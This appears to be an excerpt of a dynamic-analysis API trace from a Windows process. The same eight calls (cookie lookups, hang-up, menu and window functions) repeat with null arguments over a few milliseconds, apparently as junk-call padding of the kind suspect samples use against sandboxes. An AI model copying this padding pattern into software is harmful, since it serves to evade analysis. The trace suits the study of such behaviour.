	[0078.964] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.964] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.964] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.964] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.964] GetMenuCheckMarkDimensions () returned 983055
	[0078.964] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.964] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.964] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.964] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.964] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.964] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.964] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.964] GetMenuCheckMarkDimensions () returned 983055
	[0078.964] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.964] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.964] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.964] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.964] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.964] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.964] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.964] GetMenuCheckMarkDimensions () returned 983055
	[0078.964] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.964] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.964] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.964] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.964] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.964] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.964] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.964] GetMenuCheckMarkDimensions () returned 983055
	[0078.964] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.964] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.964] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.964] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.965] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.965] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.965] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.965] GetMenuCheckMarkDimensions () returned 983055
	[0078.965] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.965] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.965] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.965] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.965] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.965] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.965] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.965] GetMenuCheckMarkDimensions () returned 983055
	[0078.965] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.965] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.965] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.965] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.965] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.965] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.965] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.965] GetMenuCheckMarkDimensions () returned 983055
	[0078.965] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.965] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.965] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.965] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.965] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.965] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.965] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.965] GetMenuCheckMarkDimensions () returned 983055
	[0078.965] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.965] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.965] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.965] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.965] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.965] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.965] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.965] GetMenuCheckMarkDimensions () returned 983055
	[0078.966] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.966] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.966] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.966] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.966] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.966] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.966] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.966] GetMenuCheckMarkDimensions () returned 983055
	[0078.966] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.966] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.966] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.966] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.966] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.966] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.966] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.966] GetMenuCheckMarkDimensions () returned 983055
	[0078.966] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.966] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.966] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.966] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.966] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.966] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.966] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.966] GetMenuCheckMarkDimensions () returned 983055
	[0078.966] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.966] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.966] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.966] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.966] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.966] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.966] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.966] GetMenuCheckMarkDimensions () returned 983055
	[0078.966] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.966] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.967] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.967] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.967] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.967] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.967] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.967] GetMenuCheckMarkDimensions () returned 983055
	[0078.967] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.967] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.967] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.967] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.967] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.967] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.967] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.967] GetMenuCheckMarkDimensions () returned 983055
	[0078.967] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.967] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.967] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.967] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.967] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.967] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.967] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.967] GetMenuCheckMarkDimensions () returned 983055
	[0078.967] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.967] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.967] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.967] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.967] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.967] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.967] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.967] GetMenuCheckMarkDimensions () returned 983055
	[0078.967] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.967] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.967] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.967] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.967] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.967] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.967] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.968] GetMenuCheckMarkDimensions () returned 983055
	[0078.968] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.968] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.968] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.968] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.968] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.968] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.968] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.968] GetMenuCheckMarkDimensions () returned 983055
	[0078.968] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.968] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.968] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.968] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.968] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.968] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.968] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.968] GetMenuCheckMarkDimensions () returned 983055
	[0078.968] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.968] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.968] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.968] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.968] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.968] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.968] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.968] GetMenuCheckMarkDimensions () returned 983055
	[0078.968] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.968] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.968] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.968] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.968] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.968] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.968] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.968] GetMenuCheckMarkDimensions () returned 983055
	[0078.968] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.968] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.969] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.969] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.969] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.969] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.969] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.969] GetMenuCheckMarkDimensions () returned 983055
	[0078.969] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.969] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.969] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.969] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.969] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.969] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.969] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.969] GetMenuCheckMarkDimensions () returned 983055
	[0078.969] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.969] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.969] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.969] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.969] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.969] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.969] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.969] GetMenuCheckMarkDimensions () returned 983055
	[0078.969] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.969] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.969] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.969] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.969] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.969] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.969] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.969] GetMenuCheckMarkDimensions () returned 983055
	[0078.969] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.969] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.969] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.969] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.969] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.969] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.970] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.970] GetMenuCheckMarkDimensions () returned 983055
	[0078.970] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.970] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.970] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.970] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.970] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.970] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.970] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.970] GetMenuCheckMarkDimensions () returned 983055
	[0078.970] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.970] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.970] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.970] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.970] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.970] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.970] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.970] GetMenuCheckMarkDimensions () returned 983055
	[0078.970] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.970] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.970] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.970] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.970] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.970] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.970] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.970] GetMenuCheckMarkDimensions () returned 983055
	[0078.970] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.970] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.970] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.970] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.970] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.970] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.970] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.970] GetMenuCheckMarkDimensions () returned 983055
	[0078.970] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.971] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.971] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.971] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.971] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.971] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.971] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.971] GetMenuCheckMarkDimensions () returned 983055
	[0078.971] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.971] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.971] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.971] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.971] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
